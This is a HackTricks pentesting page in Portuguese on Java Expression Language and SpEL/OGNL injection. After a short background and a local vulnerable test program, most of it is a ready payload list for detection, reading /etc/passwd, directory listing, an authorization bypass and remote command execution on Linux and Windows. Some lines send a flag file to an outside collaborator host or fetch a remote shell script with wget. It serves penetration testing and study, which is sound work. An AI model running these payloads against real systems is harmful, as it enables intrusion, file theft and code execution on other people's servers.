hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md

# EL - Expression Language

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## Informações Básicas

A Linguagem de Expressão (EL) é fundamental no JavaEE para conectar a camada de apresentação (por exemplo, páginas da web) e a lógica da aplicação (por exemplo, beans gerenciados), permitindo a interação entre eles. É predominantemente usada em:

- **JavaServer Faces (JSF)**: Para vincular componentes de UI a dados/ações de backend.
- **JavaServer Pages (JSP)**: Para acesso e manipulação de dados dentro de páginas JSP.
- **Contexts and Dependency Injection for Java EE (CDI)**: Para facilitar a interação da camada web com beans gerenciados.

**Contextos de Uso**:

- **Spring Framework**: Aplicado em vários módulos como Segurança e Dados.
- **Uso Geral**: Através da API SpEL por desenvolvedores em linguagens baseadas em JVM como Java, Kotlin e Scala.

EL está presente em tecnologias JavaEE, ambientes autônomos e é reconhecível através das extensões de arquivo `.jsp` ou `.jsf`, erros de pilha e termos como "Servlet" nos cabeçalhos. No entanto, suas características e o uso de certos caracteres podem depender da versão.

{% hint style="info" %}
Dependendo da **versão do EL**, algumas **funcionalidades** podem estar **Ativadas** ou **Desativadas** e geralmente alguns **caracteres** podem ser **proibidos**.
{% endhint %}

## Exemplo Básico

(Você pode encontrar outro tutorial interessante sobre EL em [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))

Baixe do repositório [**Maven**](https://mvnrepository.com) os arquivos jar:

* `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar`

E crie o seguinte arquivo `Main.java`:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
```
Em seguida, compile o código (se você não tiver o `javac` instalado, instale `sudo apt install default-jdk`):
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
Execute a aplicação com:
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```
Note como no exemplo anterior o termo `{5*5}` foi **avaliado**.

## **Tutorial Baseado em CVE**

Confira **neste post: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**

## Payloads

### Ações Básicas
```bash
#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```
### Detecção

* Detecção do Burp
```bash
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```
* Detecção J2EE
```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
* Dormir 10 segundos
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
### Inclusão Remota de Arquivos
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
### Listagem de Diretórios
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
### RCE

* **Explicação** básica de RCE
```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
* Execução de Código Remoto **Linux**
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* RCE **Windows** (não testado)
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* **Mais RCE**
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```
### Inspecionando o ambiente

* `applicationScope` - variáveis globais da aplicação
* `requestScope` - variáveis da requisição
* `initParam` - variáveis de inicialização da aplicação
* `sessionScope` - variáveis de sessão
* `param.X` - valor do parâmetro onde X é o nome de um parâmetro http

Você precisará fazer o cast dessas variáveis para String como:
```bash
${sessionScope.toString()}
```
#### Exemplo de bypass de autorização
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
A aplicação também pode usar variáveis personalizadas como:
```bash
${user}
${password}
${employee.FirstName}
```
## Bypass do WAF

Verifique [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)

## Referências

* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)

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